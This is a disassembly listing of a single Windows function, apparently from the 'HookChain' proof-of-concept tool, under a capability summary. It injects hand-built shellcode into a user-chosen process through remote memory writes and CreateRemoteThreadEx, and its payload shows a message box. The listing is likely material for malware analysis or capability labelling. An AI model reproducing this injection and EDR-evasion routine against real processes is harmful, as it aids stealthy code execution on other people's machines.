Function at 0x140011082
Capabilities:
Contain obfuscated stackstrings
Create thread
Get number of processors

Disassembly:
jmp 0x140017540
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rbp
push rsi
push rdi
sub rsp, 0x550
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0xe4
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov ecx, dword [rsp + 0x578]
mov rax, qword [0x140029098]
xor rax, rbp
mov qword [rbp + 0x508], rax
lea rcx, [0x14004016c]
call fcn.140011dc0
mov qword [rbp + 0x28], 0
mov qword [rbp + 0x48], 0xffffffffffffffff
mov dword [rbp + 0x64], 0
cmp dword [rbp + 0x530], 2
jl 0x1400175ed
mov eax, 8
imul rax, rax, 1
mov rcx, qword [rbp + 0x538]
mov rcx, qword [rcx + rax]
call qword [sym.imp.ucrtbased.dll__wtoi]
mov dword [rbp + 0x64], eax
cmp dword [rbp + 0x64], 0
jne 0x1400175ed
mov eax, 8
imul rax, rax, 1
mov rcx, qword [rbp + 0x538]
mov rcx, qword [rcx + rax]
call qword [sym.imp.ucrtbased.dll_atoi]
mov dword [rbp + 0x64], eax
cmp dword [rbp + 0x64], 0
jne 0x140017642
lea rcx, str.Type_the_pid:__n
call fcn.140011636
xor ecx, ecx
call qword [sym.imp.ucrtbased.dll___acrt_iob_func]
mov r8, rax
mov edx, 7
lea rcx, [rbp + 0x84]
call qword [sym.imp.ucrtbased.dll_fgets]
lea rcx, [rbp + 0x84]
call qword [sym.imp.ucrtbased.dll__wtoi]
mov dword [rbp + 0x64], eax
cmp dword [rbp + 0x64], 0
jne 0x140017642
lea rcx, [rbp + 0x84]
call qword [sym.imp.ucrtbased.dll_atoi]
mov dword [rbp + 0x64], eax
cmp dword [rbp + 0x64], 0
jne 0x14001765e
lea rcx, str.____Failed_to_get_PID_n
call fcn.140011636
mov eax, 1
jmp 0x140017ea1
lea rcx, str._n___Creating_HookChain_implants_n
call fcn.140011636
call fcn.140011299
test eax, eax
jne 0x140017689
lea rcx, str.____Failed_to_initialize_API_n
call fcn.140011636
mov eax, 1
jmp 0x140017ea1
lea rcx, str._n___HookChain_implanted__o__n_n
call fcn.140011636
mov edx, dword [rbp + 0x64]
lea rcx, str.___Creating_Handle_onto_PID__d_n
call fcn.140011636
mov rax, qword gs:[0x30]
mov rax, qword [rax + 0x60]
mov r8d, 0x30
mov edx, 8
mov rcx, qword [rax + 0x30]
call fcn.1400117f8
mov qword [rbp + 0xa8], rax
mov rax, qword gs:[0x30]
mov rax, qword [rax + 0x60]
mov r8d, 0x10
mov edx, 8
mov rcx, qword [rax + 0x30]
call fcn.1400117f8
mov qword [rbp + 0xc8], rax
mov eax, dword [rbp + 0x64]
mov rcx, qword [rbp + 0xc8]
mov qword [rcx], rax
mov r9, qword [rbp + 0xc8]
mov r8, qword [rbp + 0xa8]
mov edx, 0x2a
lea rcx, [rbp + 0x48]
call fcn.1400113b1
test eax, eax
je 0x14001773f
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Failed_to_call_OP:_Status__0x_08lx_n
call fcn.140011636
mov eax, 1
jmp 0x140017ea1
mov rdx, qword [rbp + 0x48]
lea rcx, str.___Allocating_memory_at_Handle_0x_p_n
call fcn.140011636
mov qword [rbp + 0xe8], 0x1000
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 0x3000
lea r9, [rbp + 0xe8]
xor r8d, r8d
lea rdx, [rbp + 0x28]
mov rcx, qword [rbp + 0x48]
call fcn.140011ece
test eax, eax
je 0x1400177a3
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Failed_to_call_VA_shellAddress_:_Status__0x_08lx_n
call fcn.140011636
mov eax, 1
jmp 0x140017ea1
lea rcx, str.___Injecting_remote_shellcode_n
call fcn.140011636
lea rax, [rbp + 0x110]
lea rcx, str.Message_Box_created_from_HookChain
mov rdi, rax
mov rsi, rcx
mov ecx, 0x46
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x178]
lea rcx, str.Process_injected_MessageBox
mov rdi, rax
mov rsi, rcx
mov ecx, 0x38
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rbp + 0x28]
add rax, 0x100
mov qword [rbp + 0x1c8], rax
mov rax, qword [rbp + 0x28]
add rax, 0x200
mov qword [rbp + 0x1e8], rax
lea rax, [rbp + 0x1c8]
mov qword [rbp + 0x208], rax
lea rax, [rbp + 0x1e8]
mov qword [rbp + 0x228], rax
mov qword [rsp + 0x20], 0
mov r9d, 0x46
lea r8, [rbp + 0x110]
mov rdx, qword [rbp + 0x1c8]
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x14001786c
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Failed_to_call_WPM_Text_:_Status__0x_08lx_n
call fcn.140011636
mov eax, 1
jmp 0x140017ea1
mov qword [rsp + 0x20], 0
mov r9d, 0x38
lea r8, [rbp + 0x178]
mov rdx, qword [rbp + 0x1e8]
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x1400178b5
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Failed_to_call_WPM_Caption_:_Status__0x_08lx_n
call fcn.140011636
mov eax, 1
jmp 0x140017ea1
lea rdx, str.MessageBoxW
lea rcx, str.User32
call fcn.14001175d
mov qword [rbp + 0x248], rax
lea rax, [rbp + 0x248]
mov qword [rbp + 0x268], rax
lea rdx, str.TerminateThread
lea rcx, str.Kernel32
call fcn.14001175d
mov qword [rbp + 0x288], rax
lea rax, [rbp + 0x288]
mov qword [rbp + 0x2a8], rax
mov byte [rbp + 0x2d0], 0x55
mov byte [rbp + 0x2d1], 0x48
mov byte [rbp + 0x2d2], 0x89
mov byte [rbp + 0x2d3], 0xe5
mov byte [rbp + 0x2d4], 0xfc
mov byte [rbp + 0x2d5], 0x48
mov byte [rbp + 0x2d6], 0x83
mov byte [rbp + 0x2d7], 0xe4
mov byte [rbp + 0x2d8], 0xf0
mov byte [rbp + 0x2d9], 0x48
mov byte [rbp + 0x2da], 0x31
mov byte [rbp + 0x2db], 0xc0
mov byte [rbp + 0x2dc], 0x48
mov byte [rbp + 0x2dd], 0x89
mov byte [rbp + 0x2de], 0xc1
mov byte [rbp + 0x2df], 0x48
mov byte [rbp + 0x2e0], 0xba
mov rax, qword [rbp + 0x208]
movzx eax, byte [rax]
mov byte [rbp + 0x2e1], al
mov rax, qword [rbp + 0x208]
movzx eax, byte [rax + 1]
mov byte [rbp + 0x2e2], al
mov rax, qword [rbp + 0x208]
movzx eax, byte [rax + 2]
mov byte [rbp + 0x2e3], al
mov rax, qword [rbp + 0x208]
movzx eax, byte [rax + 3]
mov byte [rbp + 0x2e4], al
mov rax, qword [rbp + 0x208]
movzx eax, byte [rax + 4]
mov byte [rbp + 0x2e5], al
mov rax, qword [rbp + 0x208]
movzx eax, byte [rax + 5]
mov byte [rbp + 0x2e6], al
mov rax, qword [rbp + 0x208]
movzx eax, byte [rax + 6]
mov byte [rbp + 0x2e7], al
mov rax, qword [rbp + 0x208]
movzx eax, byte [rax + 7]
mov byte [rbp + 0x2e8], al
mov byte [rbp + 0x2e9], 0x49
mov byte [rbp + 0x2ea], 0xb8
mov rax, qword [rbp + 0x228]
movzx eax, byte [rax]
mov byte [rbp + 0x2eb], al
mov rax, qword [rbp + 0x228]
movzx eax, byte [rax + 1]
mov byte [rbp + 0x2ec], al
mov rax, qword [rbp + 0x228]
movzx eax, byte [rax + 2]
mov byte [rbp + 0x2ed], al
mov rax, qword [rbp + 0x228]
movzx eax, byte [rax + 3]
mov byte [rbp + 0x2ee], al
mov rax, qword [rbp + 0x228]
movzx eax, byte [rax + 4]
mov byte [rbp + 0x2ef], al
mov rax, qword [rbp + 0x228]
movzx eax, byte [rax + 5]
mov byte [rbp + 0x2f0], al
mov rax, qword [rbp + 0x228]
movzx eax, byte [rax + 6]
mov byte [rbp + 0x2f1], al
mov rax, qword [rbp + 0x228]
movzx eax, byte [rax + 7]
mov byte [rbp + 0x2f2], al
mov byte [rbp + 0x2f3], 0x41
mov byte [rbp + 0x2f4], 0xb9
mov byte [rbp + 0x2f5], 0x30
mov byte [rbp + 0x2f6], 0
mov byte [rbp + 0x2f7], 5
mov byte [rbp + 0x2f8], 0
mov byte [rbp + 0x2f9], 0x48
mov byte [rbp + 0x2fa], 0x83
mov byte [rbp + 0x2fb], 0xec
mov byte [rbp + 0x2fc], 0x20
mov byte [rbp + 0x2fd], 0x48
mov byte [rbp + 0x2fe], 0x89
mov byte [rbp + 0x2ff], 4
mov byte [rbp + 0x300], 0x24
mov byte [rbp + 0x301], 0x48
mov byte [rbp + 0x302], 0x89
mov byte [rbp + 0x303], 0x44
mov byte [rbp + 0x304], 0x24
mov byte [rbp + 0x305], 8
mov byte [rbp + 0x306], 0x48
mov byte [rbp + 0x307], 0x89
mov byte [rbp + 0x308], 0x44
mov byte [rbp + 0x309], 0x24
mov byte [rbp + 0x30a], 0x10
mov byte [rbp + 0x30b], 0x48
mov byte [rbp + 0x30c], 0x89
mov byte [rbp + 0x30d], 0x44
mov byte [rbp + 0x30e], 0x24
mov byte [rbp + 0x30f], 0x18
mov byte [rbp + 0x310], 0x48
mov byte [rbp + 0x311], 0xb8
mov rax, qword [rbp + 0x268]
movzx eax, byte [rax]
mov byte [rbp + 0x312], al
mov rax, qword [rbp + 0x268]
movzx eax, byte [rax + 1]
mov byte [rbp + 0x313], al
mov rax, qword [rbp + 0x268]
movzx eax, byte [rax + 2]
mov byte [rbp + 0x314], al
mov rax, qword [rbp + 0x268]
movzx eax, byte [rax + 3]
mov byte [rbp + 0x315], al
mov rax, qword [rbp + 0x268]
movzx eax, byte [rax + 4]
mov byte [rbp + 0x316], al
mov rax, qword [rbp + 0x268]
movzx eax, byte [rax + 5]
mov byte [rbp + 0x317], al
mov rax, qword [rbp + 0x268]
movzx eax, byte [rax + 6]
mov byte [rbp + 0x318], al
mov rax, qword [rbp + 0x268]
movzx eax, byte [rax + 7]
mov byte [rbp + 0x319], al
mov byte [rbp + 0x31a], 0xff
mov byte [rbp + 0x31b], 0xd0
mov byte [rbp + 0x31c], 0x48
mov byte [rbp + 0x31d], 0x31
mov byte [rbp + 0x31e], 0xc0
mov byte [rbp + 0x31f], 0x48
mov byte [rbp + 0x320], 0x89
mov byte [rbp + 0x321], 0xc1
mov byte [rbp + 0x322], 0x48
mov byte [rbp + 0x323], 0xff
mov byte [rbp + 0x324], 0xc9
mov byte [rbp + 0x325], 0x48
mov byte [rbp + 0x326], 0x89
mov byte [rbp + 0x327], 0xc2
mov byte [rbp + 0x328], 0x48
mov byte [rbp + 0x329], 0x83
mov byte [rbp + 0x32a], 0xec
mov byte [rbp + 0x32b], 0x20
mov byte [rbp + 0x32c], 0x48
mov byte [rbp + 0x32d], 0x89
mov byte [rbp + 0x32e], 4
mov byte [rbp + 0x32f], 0x24
mov byte [rbp + 0x330], 0x48
mov byte [rbp + 0x331], 0x89
mov byte [rbp + 0x332], 0x44
mov byte [rbp + 0x333], 0x24
mov byte [rbp + 0x334], 8
mov byte [rbp + 0x335], 0x48
mov byte [rbp + 0x336], 0x89
mov byte [rbp + 0x337], 0x44
mov byte [rbp + 0x338], 0x24
mov byte [rbp + 0x339], 0x10
mov byte [rbp + 0x33a], 0x48
mov byte [rbp + 0x33b], 0x89
mov byte [rbp + 0x33c], 0x44
mov byte [rbp + 0x33d], 0x24
mov byte [rbp + 0x33e], 0x18
mov byte [rbp + 0x33f], 0x48
mov byte [rbp + 0x340], 0xb8
mov rax, qword [rbp + 0x2a8]
movzx eax, byte [rax]
mov byte [rbp + 0x341], al
mov rax, qword [rbp + 0x2a8]
movzx eax, byte [rax + 1]
mov byte [rbp + 0x342], al
mov rax, qword [rbp + 0x2a8]
movzx eax, byte [rax + 2]
mov byte [rbp + 0x343], al
mov rax, qword [rbp + 0x2a8]
movzx eax, byte [rax + 3]
mov byte [rbp + 0x344], al
mov rax, qword [rbp + 0x2a8]
movzx eax, byte [rax + 4]
mov byte [rbp + 0x345], al
mov rax, qword [rbp + 0x2a8]
movzx eax, byte [rax + 5]
mov byte [rbp + 0x346], al
mov rax, qword [rbp + 0x2a8]
movzx eax, byte [rax + 6]
mov byte [rbp + 0x347], al
mov rax, qword [rbp + 0x2a8]
movzx eax, byte [rax + 7]
mov byte [rbp + 0x348], al
mov byte [rbp + 0x349], 0xff
mov byte [rbp + 0x34a], 0xd0
mov byte [rbp + 0x34b], 0x48
mov byte [rbp + 0x34c], 0x89
mov byte [rbp + 0x34d], 0xec
mov byte [rbp + 0x34e], 0x5d
mov byte [rbp + 0x34f], 0xc3
mov byte [rbp + 0x350], 0xcc
mov byte [rbp + 0x351], 0xcc
mov byte [rbp + 0x352], 0xcc
mov qword [rsp + 0x20], 0
mov r9d, 0x83
lea r8, [rbp + 0x2d0]
mov rdx, qword [rbp + 0x28]
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x140017e12
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Failed_to_call_WriteProcessMemory_Shellcode_:_Status__0x_08lx_n
call fcn.140011636
lea rcx, str.___Calling_CreateRemoteThreadEx_n
call fcn.140011636
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9, qword [rbp + 0x28]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.KERNEL32.dll_CreateRemoteThreadEx]
mov qword [rbp + 0x378], rax
cmp qword [rbp + 0x378], 0
jne 0x140017e80
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Failed_to_call_CRT:_Status__0x_08lx_n
call fcn.140011636
mov eax, 1
jmp 0x140017ea1
xor ecx, ecx
call fcn.140011523
lea rcx, str.___Shellcode_OK__n
call fcn.140011636
lea rcx, str._n_n______________________________________________________________________n______________________________________________________n_____________________________________________________n__________________________________________________________By_M4v3r1ck_n_n
call fcn.140011636
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x40]
lea rdx, [0x1400259c0]
call fcn.140011b31
mov rax, rdi
mov rcx, qword [rbp + 0x508]
xor rcx, rbp
call fcn.140011663
lea rsp, [rbp + 0x510]
pop rdi
pop rsi
pop rbp
ret